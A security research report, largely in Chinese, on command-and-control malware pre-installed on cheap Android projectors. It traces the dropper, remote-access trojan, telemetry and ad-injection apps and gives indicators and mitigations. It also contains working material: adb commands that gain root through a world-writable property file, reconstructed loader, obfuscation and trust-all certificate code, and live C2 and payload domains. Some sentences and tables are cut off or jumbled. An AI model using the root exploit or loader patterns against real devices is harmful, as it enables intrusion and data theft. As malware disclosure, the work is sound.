对中国Beamer的C2网络的剖析 - SilentSDK-Analysis
Technical Analysis Report — Security Research
Affected Devices: Multiple Android projectors of beamer brands like the Nonete (e.g., Model HY260Pro) (likely also several projectors from Magcubic, Hotack, Huyukang and many more, as these companies distribute similar models and there are indications supporting this)
Chipset Platform: Allwinner H713 / sun50iw12p1 — potentially affects all devices on this platform
Analysis Period: April 11–17, 2026
Classification: Pre-installed Command-and-Control infrastructure with Remote Access Trojan payload
api.pixelpioneerss.com), extracts sensitive device IDs, and can download and execute arbitrary additional malicious code with root privileges at any time (chmod 777). Additionally, the devices feature open root backdoors.*.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) must be blocked at the network level. Affected users can only disable the malicious apps manually via ADB, as they are deeply embedded in the system.The malware infrastructure documented in this report is pre-installed on Android projectors currently being sold in large quantities to end consumers on Amazon, eBay, and AliExpress. The affected devices span possibly multiple brand names (Hotack, Huyukang, Magcubic, Nonete, among others). Identical C2 infrastructure has been independently confirmed on other devices from the same manufacturer (see Section 13). The pattern matches the BADBOX cases.
Purchased Device: Amazon Link - Nonete Mini Beamer 4K 1080P
Note on scope: The Allwinner H713 chipset is built into numerous cheap Android projectors sold under changing brand names in the European market. The identical firmware base (h713_tuna_p3) and identical C2 operator (Shenzhen Aodin Technology) strongly suggest that all devices from this OEM contain the same infrastructure.
Root access was achieved through a combination of three vulnerabilities:
/oem — The partition is mounted as FAT with fmask=0000.customer.prop loaded at boot — Overwrites system properties.```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**影响:** 任何拥有物理访问权限的用户或同一网络上的攻击者(通过ADB,端口5555开放,无身份验证)均可获取完全 root 访问权限。
---
## 4. C2 服务器响应 — 核心证据
### 捕获的 HTTP 请求```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
gzip压缩的响应包含一个包含七个应用的JSON列表。其中六个是常规流媒体应用(YouTube、Netflix、迪士尼+、Prime Video、Chrome、BrowseHere)。第七个是SilentTools:
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**标志解释:**
- `isShow: false` — 应用不会出现在商店界面中。
- `isForce: true` — 推测为强制操作(安装或更新)。
- `isSilentUninstall: true` — 可在无用户交互情况下卸载自身。
- `launchType: 1` — 自动启动后台服务。
- `launchParam: MyService` — 指向持久化服务的引用。
- `zone: "Global"` — 目标为全球所有设备。
- `reverseLen` — 恢复SilentSDK `.apk` 所需的字节长度。
### 加密下载路径
`path` 字段使用 AES-CBC 加密:
- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> 设备的 ChannelID。
- **解密结果:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
注意: 文件扩展名 .bpp 很可能是用来绕过防火墙的,执行时会重命名为 .apk。在此捕获中,isSilentInstall 字段为 false。无法从反编译代码中明确重构 isForce: true 的确切语义。不能排除该值在服务器端被动态设置为 true 的可能性。
该设备包含四个相互交互的系统应用,所有应用均使用 AOSP 测试密钥签名,并以 UID 1000(系统)运行:```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — 木马投放器分析
StoreOS 似乎是一个自动安装的应用商店;然而,它实际上充当了木马投放器(dropper)的功能。
**包名:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### 权限
| 权限 | 影响 |
|:---|:---|
| `INSTALL_PACKAGES` | 静默安装,无用户对话框 |
| `CLEAR_APP_USER_DATA` | 删除任意应用数据 |
| `MASTER_CLEAR` | 触发恢复出厂设置 |
| `WRITE_SECURE_SETTINGS` | 修改安全设置 |
| `DEVICE_POWER` | 设备电源管理 |
| `MANAGE_EXTERNAL_STORAGE` | 完全访问外部存储 |
### 安装链(来自反编译代码)
1. **BootReceiver** 启动 `CheckUpdateService`。
2. HTTP POST 至 `store-api.aodintech.com/sign/app/list`。
3. 服务器返回 `AppsData[]`,包含字段:`pkg`、`path`、`isForce`、`isShow`、`isSilentInstall`、`isSilentUninstall`、`launchType`、`launchParam`、`reverseLen`、`md5`。
4. `DownloadService` 从 CDN 获取 APK 文件(格式为 `.bpp`)。
5. **字节反转保护:** 在写入磁盘前,将前 `reverseLen` 个字节反转(反分析措施)。
6. 对下载的文件进行 MD5 校验。
7. 通过 `Runtime.getRuntime().exec("pm install -r " + filePath)` 进行安装。
8. `StartAppService` 根据 `launchParam` 启动已安装的应用。
### 字节反转机制 — 技术证明
**类:** `AbstractC2057b` — **方法:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
该方法会反转每个下载 APK 的前 `reverseLen` 个字节。因此,截获的 `.bpp` 文件若未知具体的 `reverseLen` 值,则无法被识别或提取为有效的 APK。```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
下载路径中的调用 (Class RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
通过逆向这一机制,成功解码并分析了 SilentSDK APK。
### 地理定位(Geo-Targeting)
StoreOS 使用 `api.ipdatacloud.com/v2/query` 进行 IP 地理定位。`SpecialApps` 类包含 `continent` 和 `countryCode` 字段,支持按区域分发载荷。
---
## 7. EventUploadService — 遥测(Telemetry)
**包名:** `com.htc.eventuploadservice`
**目标地址:** `http://event-api.aodintech.com/report`
**间隔:** 每 5 分钟
| 字段 | 示例值 | 隐私影响 |
|:---|:---|:---|
| `deviceId` | `[已脱敏]` | MAC 地址(个人身份信息) |
| `deviceSn` | `[已脱敏]` | 序列号(唯一标识) |
| `channel` | `HY260Pro_hy_TPYB` | 固件通道 |
| `version` | `Projector.20250422.152235` | 固件版本 |
| `model` | `NT10` | 设备型号 |
| `language` | `en_US` | 语言设置 |
传输通过 HTTP 明文进行,且未获得用户同意。MAC 地址和序列号使得设备可被精确识别和追踪。
---
## 8. ExpandSDK — 广告注入(Ad-Injection)
**包名:** `com.htc.expandsdk`
**C2 服务器:** `pb-api.aodintech.com`、`euads-o.api.leiniao.com`
ExpandSDK 使用 TCL VastAd SDK 实现 VAST 视频广告,并能在屏幕任意位置渲染系统覆盖对话框(`SYSTEM_ALERT_WINDOW`)。配置中包含位置字段(`AdDialogX`、`AdDialogY`、`Width`、`High`、`Gravity`)以及合作伙伴标识符 `htk`(Hotack)。
ExpandSDK 独立于 SilentSDK 运行,作为独立的变现渠道。
---
## 9. SilentSDK — RAT 分析
**包名:** `com.hotack.silentsdk`
**SHA-256(解码后):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5(解码后):** `5df097591d6942bae4eff33a37c4e28f`
### 清单分析(Manifest Analysis)
| 属性 | 值 | 含义 |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | 系统权限(UID 1000) |
| `usesCleartextTraffic` | `true` | 允许 HTTP 明文流量 |
| 启动器图标 | 用户不可见 | 在用户界面中隐藏 |
| `BootReceiver` | 优先级 999 | 在几乎所有其他应用之前启动 |
| `MyService` | exported, foreground | 持久后台服务 |
| `BootStartActivity` | `com.htc.bootstart` | 额外启动触发 |
### DEX 加壳与解密
原始 DEX 经过加壳:头部声明大小为 2,318,316 字节,但压缩文件仅包含 65,536 字节,且 Adler32 校验和无效。在破解 StoreOS 字节反转保护后,DEX 变为完全可读——文件大小与声明大小一致,并可提取出 16,241 个字符串。
### XOR 混淆 — 技术证明
所有与安全相关的字符串均在方法 `AbstractC0000a.m36g()` 中使用循环 XOR 密码进行混淆:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
这只是已解密字符串的一部分。
MAC 收集流程揭示了一种刻意的权限绕过:当 WifiInfo.getMacAddress() 返回 Android 隐私保护假 MAC(02:00:00:00:00:00)时,恶意软件会退而通过 root shell 直接从 /sys/class/net/wlan0/address 读取真实硬件 MAC —— 这种行为在合法应用中从未见过。
以下分析追踪了从应用启动到持久 C2 控制的完整执行链。类名称引用自 JADX 反混淆后的标识符。
MyApplication.java —— 入口点
Application.onCreate() 的重载是第一个执行的代码。它立即调用 C0561f.m1737c,传入 ApplicationContext,在任何 UI 渲染之前启动整个恶意软件机制。
AbstractC0577v.java —— 上下文
如果宿主应用不主动提供上下文,该类会使用深层系统反射(android.app.ActivityThread)自主窃取全局 ApplicationContext。这赋予 SDK 对文件、系统服务和包管理的完全访问权限,而无需依赖宿主应用。
C0578w.java —— Activity 生命周期观察器
注册为 ActivityLifecycleCallbacks 以监控每次用户交互:当前打开哪个屏幕,应用在前台还是后台。关键的是,它会重新启用被禁用的系统动画并操作 SoftInputMode 设置 —— 这是渲染不可见覆盖层(例如用于点击欺诈)的前提条件,以避免意外的键盘弹出引起用户警觉。
AbstractC0562g.java —— 僵尸 ID 生成
通过连接以下内容生成激进的设备指纹:随机 UUID + Build.BRAND + Build.MODEL + 物理 MAC 地址(通过 cat /sys/class/net/wlan0/address 收集,绕过 Android 隐私保护) + android_id + 时间戳。结果字符串经 MD5 哈希后存储为 adid —— 用于向 C2 服务器注册设备的永久僵尸 ID。
C0565j.java —— SSL 证书绕过
一个被操纵的 X509TrustManager,其验证方法(checkClientTrusted、checkServerTrusted)完全为空。这确保恶意软件盲目接受任何 SSL 证书,从而阻止 Android 安全机制阻断 C2 通信 —— 即使 C2 服务器被入侵或使用无效证书也不例外。```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
如果发生SSL错误(`SSLException`),`f2664e` 将被设置为 `false`,此后所有请求将使用HTTP而非HTTPS。
#### 阶段三:载荷获取
**`C0566k.java` — 离线备用方案(嵌入式载荷)**
在联系网络之前,此类会检查APK内`assets/m17gawxG.java`是否已捆绑了载荷。如果找到,它会逐字节读取文件,并使用硬编码的XOR密钥(`m17gawxG`)进行解密。结果被写入一个可执行的`.temp`文件。这确保了即使在断网设备或C2服务器不可达的情况下,RAT仍能被激活。
**`RunnableC0569n.java` — 实时C2下载器**
如果离线备用方案失败,此类会组装一个包含Bot-ID、包名和Android版本的JSON信标,然后联系C2端点`api.pixelpioneerss.com`:
**步骤1 — 带随机路径的URL生成:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
第2步 — 信标载荷:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**第3步 — AES加密与传输:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
步骤4 — 处理服务器响应:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
下载器 (`AbstractC0000a.m37h`) 获取有效载荷,然后使用 root shell 通过 `chmod 777` 授予其完全执行权限。
所有 C2 请求都携带自定义 HTTP 标头 `a: 1003` — 该恶意软件家族的网络级特征。
#### 阶段 4:执行与控制
**`AbstractC0568m.java` — 暂存区域**
在设备文件系统上创建一个名为 **`TMRXwWJu3G5`** 的隐蔽目录,用于暂存所有下载的有效载荷。该类还包含方法 (`m1754e`),用于拦截物理按键事件 (`KeyEvent`),防止用户在恶意覆盖层活动时按下"返回"按钮。
**`C0561f.java` — 编排器**
将整个链条串联起来。它调用 `C0566k.m1746b` 中高度混淆的代码,该代码使用反射构建字符串 `"dalvik.system.DexClassLoader"` 并初始化它。然后强制 ClassLoader 加载并执行最终的有效载荷类:```
com.me.cash5.OoO0OOo
从此以后,动态加载的有效载荷在应用进程上下文(UID 1000 / System)中拥有完全控制权。
AbstractC0563h.java 与 C0558c.java — 遥测收集
每次模块加载、错误事件(例如下载失败)或覆盖层显示都会触发状态报告(代码如 "e6"、SSL 错误的 "e4" 等)。C0558c 运行一个专用的收集线程("burying_loop_s")来聚合这些事件。每隔 5 秒,它组装一个全面的 JSON 遥测数据包,包含 "d"(设备型号)、"e"(SDK 版本)、"c"(Android ID)等字段。
RunnableC0564i.java — 数据泄露器
获取遥测 JSON,使用 GZIPOutputStream 压缩(以阻碍流量分析),然后使用自定义 AES 加密——将动态密钥附加到密文后。生成的 GZIP-AES 数据包通过绕过 SSL 的 TrustManager 传输到专用的追踪服务器:```
bur.thedynamicleap.com
这是一个**独立的C2域名**,与主域名`api.pixelpioneerss.com`分开,专门用于遥测数据外泄。
**`AbstractC0572q.java` & `RunnableC0560e.java` — 心跳与自修复**
持久化机制。`AbstractC0572q`在主线程上维护一个计时器。如果感染链的任何部分失败(例如,下载时无网络连接),它会触发`sendEmptyMessageDelayed(..., 60000L)`。正好60秒后,`RunnableC0560e`(作为后台工作线程)从头重启整个感染机制。这个循环无限重复,直到感染成功。
### 持久化与动态加载 — 总结
`RunnableC0569n`中的方法`m1762a()`实现了完整的有效载荷下载周期:
1. 从C2下载DEX文件。
2. 验证MD5哈希。
3. 将版本号保存到SharedPreferences。
4. 通过`DexClassLoader`或`Runtime.exec()`加载并执行DEX。
5. 出现错误时:增加SharedPreferences中的重试计数器,在13次失败尝试后暂停 — 然后60秒心跳重新启动周期。
## 9.1. 恶意软件有效载荷
在向C2服务器发送此请求后:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
响应:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. 恶意软件
在成功获取并进一步分析载荷后,我在绕过大量自定义加密和混淆层后确定,该恶意软件采用了高度模块化的架构。它作为一个复杂的框架运行,能够动态下载、更新、重启以及主动删除插件以销毁取证证据。这些载荷以 root 权限执行。此外,代码揭示出将完整 WebView 覆盖到屏幕上的机制,这强烈表明其具备高级钓鱼能力。该恶意软件还展示了先进的目标定位和规避策略:它实施严格的地理围栏以攻击特定区域,分析 CPU 架构(区分 `arm64`、`armeabi`、`x86` 和 `mips`),并主动绕过 SSL 证书验证以确保其 C2 通信安全。鉴于强大的混淆手段需要漫长且持续的反向工程过程,我目前故意保持此摘要简洁。
## 11. 系统后门
### 11.1 隐藏的 `su` 二进制文件:`/system/bin/qw`
一个重命名为 `qw` 的 `su` 二进制文件(Koushikdutta Superuser,388 KB,静态链接,ARM 32位):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)平台签名证书是AOSP源码中公开包含的测试密钥(packages.xml中的证书索引0)。任何使用此密钥签名的应用都会自动获得设备上的系统权限。该密钥对所有Android开发者免费开放。
dbgserver/vendor/bin/dbgserver — 硬件寄存器I/O服务器,通过全局可写的设备/dev/hidtvreg (crwxrwxrwx)进行通信。
所有C2通信均通过未加密的HTTP进行。这使得中间人(MITM)攻击成为可能:同一网络上的攻击者可以操控应用列表并注入任意APK,这些APK随后将以系统权限安装。
该设备伪装成Google的ADT-3 (Android TV开发者套件):
| 属性 | 伪装值 | 实际值 |
|---|
这种伪装可能是为了绕过Google Play认证检查。
2026年1月,安全研究员Zane St. John发表了一篇关于携带完全相同的恶意软件基础设施的相同设备的分析。其发现在所有关键点上均吻合:C2端点、XOR混淆、AES-128-CBC协议、Campaign ID f101、SSL绕过以及chmod 777。Zane St. John分析的设备似乎已被SilentSDK感染,而我的设备在开箱即用状态下并非如此。Zane St. John分析中的端点也略有变化,表明可能存在端点轮换。此外,在他分析的情况下SilentSDK似乎是预装的,而在我的设备上,它似乎是aodintech发送触发信号后才下载并安装的。
来源: https://zanestjohn.com/blog/reing-with-claude-code
| 来源 | MD5 | SHA-256 |
|---|
来自C2服务器分发的哈希、我们自己的解密以及外部分析的哈希完全相同——确认这是完全相同的恶意软件。 这证实了该恶意软件的广泛传播。
StoreOS-APK:BitDefender检测到Android.Riskware.TestKey.rB;其他反病毒引擎均未触发警报。
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### 网络签名```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### 文件系统```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. MITRE ATT&CK 映射
| 技术 | ID | 证据 |
|:---|:---|:---|
| 供应链投毒 | T1195.002 | 出厂预装恶意软件 |
| 启动或登录自动启动执行 | T1547 | BootReceiver Priority 999 |
| 混淆文件或信息 | T1027 | XOR 字符串, DEX 打包, 嵌入的 XOR 加密资源 |
| 应用层协议 | T1071 | HTTP/HTTPS C2 |
| 动态数据交换 / Payload 注入 | T1055 | DexClassLoader, chmod 777 |
| 系统信息发现 | T1082 | 设备指纹识别, Bot-ID 生成 |
| 从本地系统获取数据 | T1005 | MAC, Serial, IMEI, android_id |
| 通过 C2 信道窃取数据 | T1041 | 周期性遥测到 `bur.thedynamicleap.com` |
| 伪装 | T1036 | .bpp 文件扩展名, ADT-3 欺骗 |
| Rootkit | T1014 | 隐藏的 su 二进制 |
| 输入捕获 | T1056 | 拦截 KeyEvent 以禁用返回键 |
| 指标清除 / 自删除 | T1070 | `isSilentUninstall: true` 功能 |
| 反射式代码加载 | T1620 | 反射式 DexClassLoader 实例化 |
| 系统窗口覆盖 | T1624 | 操作 SoftInputMode 实现不可见覆盖层 |
---
## 17. 立即缓解措施
### 针对受影响最终用户```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. 来源
1. Zane St. John:“使用Claude Code逆向预装Android恶意软件”,2026年1月。https://zanestjohn.com/blog/reing-with-claude-code
2. BSI:“BSI警告物联网设备存在预装恶意软件”(BADBOX),2023年10月。
3. VirusTotal对StoreOS APK的分析。
---
**分析周期:** 2026年4月11日至17日
**免责声明**
仅供教育和研究目的。本报告“按原样”提供,用于提供有关网络安全威胁的信息。分析基于当前恶意软件生态系统的快照;由于逆向工程是一个持续过程,随着新数据的出现,研究结果可能会发生变化。
本报告是本着诚意并据我所知,基于对二进制数据和反编译源代码的分析编制的。由于高度混淆以及威胁的不断演变性质,这些发现代表了当前的研究状态。尽管证据强烈支持所得到的结论,但随着进一步的技术证据的揭示,这些结论可能会有所完善。
| Property | Value |
|---|
| Brand Name | Nonete HY260Pro (model sold by multiple companies) |
| Internal Model Name | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32-bit) |
| Operating System | SpectraOS (Android 11, Kernel 5.4.99) |
| Real Build Fingerprint | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| Spoofed Build Fingerprint | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permissive (no enforcement) |
| Platform Signing Key | Public AOSP Test Key |
| OEM Certificate | CN=蓝鲨, OU=www.bsh.me, C=CN |
| Firmware Channel | HY260Pro_SpectraOS_TPYB |
| Step | Action | Result |
|---|
| 1 | Wireshark capture of network traffic | HTTP traffic to store-api.aodintech.com |
| 2 | Decoding of the gzip-compressed C2 response | 7 apps, including hidden "SilentTools" |
| 3 | AES-CBC decryption of the download path | Key [REDACTED], URL to .bpp file |
| 4 | Root exploit via /oem/customer.prop | uid=0(root) after property injection |
| 5 | Forensic dump of /data, /oem, /system | APKs, databases, configurations |
| 6 | Static analysis of StoreOS DEX | pm install -r -d, byte-reversal protection |
| 7 | Reverse engineering the reverseLen mechanism | Understanding of the anti-analysis protection |
| 8 | Breaking the byte-reversal protection | Decrypted, analyzable SilentSDK DEX |
| 9 | XOR decryption of SilentSDK strings | C2 domain api.pixelpioneerss.com confirmed |
| 10 | Hash verification across three sources | MD5/SHA-256 match perfectly |
| 11 | Reverse engineering the malware download process | Servers still online |
| 12 | Reverse engineering the malware | Plugin-based Rat Framework |
| App | Package | isShow | isForce | isSilent Install | isSilent Uninstall | launch Type |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| 混淆后的调用 | 结果 | 功能 |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | C2 域名 |
m36g({7,-68}, {116,-44,...}) | sh | 用于 Runtime.exec() 的 Shell 二进制文件 |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | Shell 命令 |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | 下载的临时文件后缀 |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | 主协议 |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | SSL 错误时的备用协议 |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | TLS 协议 |
m36g({-15}, {-112,...}) | a | 自定义头名称 → 值 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | Shell 备用:读取接口名称 |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | Shell 备用:读取 MAC(前缀) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | Shell 备用:读取 MAC(后缀) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Android 假 MAC 哨兵(API 23+) |
| 端口 | UID | 描述 |
|---|
| 65528 | root (0) | su守护进程 |
| 5555 | root (0) | 无认证的ADB |
| 7889/7890 | system (1000) | 未知服务 |
| 10012/10013 | system (1000) | 工厂调试? |
| 服务器 | 端点 | 功能 |
|---|
store-api.aodintech.com | POST /sign/app/list | 应用分发 |
sta.smartinnovate.net | GET /*.jar | 载荷分发 |
cdn-store.aodintech.com | GET /*.bpp | APK下载 |
event-api.aodintech.com | POST /report | 遥测 |
api.pixelpioneerss.com | POST /(random) | SilentSDK远程访问木马C2 |
bur.thedynamicleap.com | POST (GZIP+AES) | SilentSDK遥测外泄 |
pb-api.aodintech.com | GET /api/collections/... | 广告配置 |
ota.triplesai.com:8080 | POST /V1/Ota/Check | 固件更新 |
api.ipdatacloud.com | GET /v2/query | IP地理定位 |
euads-o.api.leiniao.com | — | 次要广告服务器 |
connect.rom.miui.com | — | 小米遥测 |
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| 构建日期 | — | Tue Apr 22 15:20 CST 2025 |
| C2服务器响应 | 5df097591d694... | — |
| 我们解码的APK | 5df097591d694... | e5a193c31526a... |
| 外部分析 | — | e5a193c31526a... |